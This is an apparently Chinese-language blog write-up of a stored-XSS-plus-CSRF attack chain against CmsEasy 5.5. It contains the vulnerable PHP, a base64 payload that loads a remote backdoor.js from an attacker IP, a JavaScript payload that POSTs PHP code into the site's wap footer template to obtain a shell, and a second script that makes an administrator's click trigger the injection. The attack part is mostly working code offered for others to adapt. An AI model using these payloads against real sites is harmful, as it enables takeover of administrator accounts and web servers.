为什么我们要选择get类型的呢，因为get类型存储到数据库的时候触发时候管理员是察觉不到的，可以通过图片等进行操作，然后我们存储一个xss后门，这样一来，我们就可以加载一个远端的js，那么就各种无视token和referer了

开始我们先分析一段源代码：

celive/admin/system.php:(line:128-142):if($do == 'add' and $username != '')

{

$password = addslashes($_REQUEST['password']);

$password = md5($password);

$realname = addslashes($_REQUEST['realname']);

$timestamp = time();

$level = addslashes($_REQUEST['level']);

$departmentid = intval($_REQUEST['departmentid']);

$sql = "SELECT `id` FROM `".$config['prefix']."operators` WHERE `username`='".$username."' AND `password`='".$password."'";

@$result = $db->my_fetch_array($sql);

if(count($result) == 0) {

$sql = "INSERT INTO `operators` (`username`,`password`,`firstname`,`level`,`timestamp`,`departmentid`) VALUES('".$username."','".$password."','".$realname."','".$level."','".$timestamp."','$departmentid')";

$db->query($sql);

}

}

看到这一块了没有，这里就只用了addslashes 做了过滤，然后直接插入数据库，当我们在其他地方取的时候，这时候就会触发，这里我们分析两种情况

1.如果触发时候，在获取该页面的地方不再当前回显页面，这个我们也是有办法的，而且此办法比较猥琐，管理员不知不觉还是会中招

2.如果触发时候，正好在当前页面，那么我们就不费事了，直接搞定

我们首先进行了xss各种标签的测试，很不幸运的是大部分的xss触发标签都被全局过滤了，这里和他们自带的论坛源码编辑不一样，正好漏掉了其中的一种，那就是伟大的 这里我经过了测试，只有一种情况可以通过，base64编码的：

这里面就仅仅只是一个alert(1)，我们重新加载一个远程的js，然后进行base64编码:

PHNjcmlwdCBzcmM9J2h0dHA6Ly8xOTIuMTY4LjQ3LjEzMS9iYWNrZG9vci5qcyc+IDwvc2NyaXB0Pg==

这个东西对应了我们远程的一个js：

http://192.168.47.131/backdoor.js

下来我们访问一下看看这个js是否被成功加载：

这里是404是因为我们那边机子上没有放置，我们开始编写一个远程的js，getshell，其实这里任何都可以做，比如添加管理员，修改什么之类的，因为已经无视csrf了，表单token也没有用，这里也可以进行ajax页面交互，因为跨域里面像img 和 script等这些标签是可以跨域交互的

那我们这个远程的js，这里我们简单的写一个shell，就可以：

找到后台编辑模板的地方，当然了上一次有一个人提交了一个编辑模板那边的shell，这里的前几个居然不能编辑了，我们找到了wap底下有一个footer可以编辑，不截图了直接访问：

url:

http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=template&act=save&admin_dir=admin&site=default

postdata:

sid=wap_d_footer_html&slen=1996&scontent=%3C%3Fphp%20phpinfo()%3F%3E%0A%3Cdiv+id%3D%22footer%22%3E%0A%3Cdiv+class%3D%22box%22%3E%0A%3Cp%3E%C2%A9%C2%A0%3Ca+title%3D%22%7Bget('sitename')%7D%22+href%3D%22%7B%24base_url%7D%2Fwap%22%3E%7Bget('sitename')%7D%3C%2Fa%3E+All+Rights+Reserved.+%3C%2Fp%3E%0A%3Cp+class%3D%22address%22%3E%7Bget(address)%7D%3C%2Fp%3E%0A%3Cp+class%3D%22tel%22%3E%7Bget(tel)%7D%3C%2Fp%3E%0A%3Cp+class%3D%22email%22%3E%3Ca+href%3D%22index.php%3Fcase%3Dguestbook%26act%3Dindex%26t%3Dwap%22%3E%7Blang(feedback)%7D%3C%2Fa%3E%3C%2Fp%3E%0A%3Cp%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.cmseasy.cn%22+title%3D%22CmsEasy%E4%BC%81%E4%B8%9A%E7%BD%91%E7%AB%99%E7%B3%BB%E7%BB%9F%22+target%3D%22_blank%22%3ECmsEasy%3C%2Fa%3E%3C%2Fp%3E%0A%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3Cdiv+class%3D%22footer%22+id%3D%22box_footerBody%22%3E%0A++++++++%3Cdiv+class%3D%22footer_body%22%3E%0A++++++++++++%3Cul+class%3D%22footer_ul%22%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22tel%3A%7Bget(site_mobile)%7D%22%3E%09%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+f_tel%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(tel)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Dguestbook%26act%3Demail%26t%3Dwap%22%3E%09%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+mail%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(email)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Darchive%26act%3Dpages%26t%3Dwap%26p%3Dmap%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+map%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(map)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Darchive%26act%3Dpages%26t%3Dwap%26p%3Dshare%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+share%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(share)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Dguestbook%26act%3Dindex%26t%3Dwap%22+class%3D%22border_none%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+massage%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(guestbook)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A++++%3C%2Fdiv%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E

jscode:function ajax(){

var request = false;

if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

} else if(window.ActiveXObject) {

var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i

try {

request = new ActiveXObject(versions[i]);

} catch(e) {}

}

}

return request;

}

var _x = ajax();

postgo();

function postgo() {

src="http://192.168.10.70/CmsEasy_5.5_UTF-8_20140818/uploads/index.php?case=template&act=save&admin_dir=admin&site=default";

data="sid=wap_d_footer_html&slen=1996&scontent=%3C%3Fphp%20phpinfo()%3F%3E%0A%3Cdiv+id%3D%22footer%22%3E%0A%3Cdiv+class%3D%22box%22%3E%0A%3Cp%3E%C2%A9%C2%A0%3Ca+title%3D%22%7Bget('sitename')%7D%22+href%3D%22%7B%24base_url%7D%2Fwap%22%3E%7Bget('sitename')%7D%3C%2Fa%3E+All+Rights+Reserved.+%3C%2Fp%3E%0A%3Cp+class%3D%22address%22%3E%7Bget(address)%7D%3C%2Fp%3E%0A%3Cp+class%3D%22tel%22%3E%7Bget(tel)%7D%3C%2Fp%3E%0A%3Cp+class%3D%22email%22%3E%3Ca+href%3D%22index.php%3Fcase%3Dguestbook%26act%3Dindex%26t%3Dwap%22%3E%7Blang(feedback)%7D%3C%2Fa%3E%3C%2Fp%3E%0A%3Cp%3EPowered+by+%3Ca+href%3D%22http%3A%2F%2Fwww.cmseasy.cn%22+title%3D%22CmsEasy%E4%BC%81%E4%B8%9A%E7%BD%91%E7%AB%99%E7%B3%BB%E7%BB%9F%22+target%3D%22_blank%22%3ECmsEasy%3C%2Fa%3E%3C%2Fp%3E%0A%3C%2Fdiv%3E%0A%3C%2Fdiv%3E%0A%3Cdiv+class%3D%22footer%22+id%3D%22box_footerBody%22%3E%0A++++++++%3Cdiv+class%3D%22footer_body%22%3E%0A++++++++++++%3Cul+class%3D%22footer_ul%22%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22tel%3A%7Bget(site_mobile)%7D%22%3E%09%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+f_tel%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(tel)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Dguestbook%26act%3Demail%26t%3Dwap%22%3E%09%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+mail%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(email)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%09%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Darchive%26act%3Dpages%26t%3Dwap%26p%3Dmap%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+map%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(map)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Darchive%26act%3Dpages%26t%3Dwap%26p%3Dshare%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+share%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(share)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++++++%3Cli%3E%0A++++++++++++++++++++%3Ca+href%3D%22%7B%24base_url%7D%2Findex.php%3Fcase%3Dguestbook%26act%3Dindex%26t%3Dwap%22+class%3D%22border_none%22%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22icon+massage%22%3E%3C%2Fspan%3E%0A++++++++++++++++++++++++%3Cspan+class%3D%22text%22%3E%7Blang(guestbook)%7D%3C%2Fspan%3E%0A++++++++++++++++++++%3C%2Fa%3E%0A++++++++++++++++%3C%2Fli%3E%0A++++++++++++%3C%2Ful%3E%0A++++++++%3C%2Fdiv%3E%0A++++%3C%2Fdiv%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E";

xhr_act("POST",src,data);

}

function xhr_act(_m,_s,_a){

_x.open(_m,_s,false);

cookie = document.cookie;

if(_m=="POST"){

_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");

_x.setRequestHeader("Cookie",cookie);

}

_x.send(_a);

return _x.responseText;

}

这里我们就发送一个这样的：然后我们去waf页面看看是否已经执行成功:

到这里所有的前奏我们已经测试完毕，那么我们怎么能让管理员中招呢，我们借助图片可以发送一个get请求来吧这个xss存储到数据库

我们以游客投稿的方式，看看：

这里当管理员审核的时候，肯定会打开页面看一下，只要他敢看那么我们这个xss通过sql语句就注入进数据库了

我们看看刚才插入数据库的效果，能否执行远程js:

ko到这里所有的问题已经接解决的，我们在探讨一下，当一个get请求存储起来的xss在其他页面的情况：

function csrf_sql(){

var xhr = new XMLHttpRequest();

xhr.open("POST", "sql的url这里可以是get的也可以是post的", true);

xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------277302291911927");

xhr.withCredentials = "true";

var body = "post的数据";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

function run_xss(){

var url= "另外一个地方可以看到的xss页面的url";

document.write('');

window.οnclick=function(){

document.getElementById('openWin').click();

}

}

function sleep(n){

var start=new Date().getTime();

while(true) if(new Date().getTime()-start>n) break;

}

csrf_sql();

sleep(3000);//让这个页面卡一点，所以当三秒钟过后 当前页面就会被绑定一个鼠标点击动作，而管理员肯定会操作鼠标，这样就触发了我们的xss

run_xss();

上面就是我们的分析操作的过程，其实这个我已经在espcms中已经得到证实，这里只提供一个操作思路，当然了大家可以随意发挥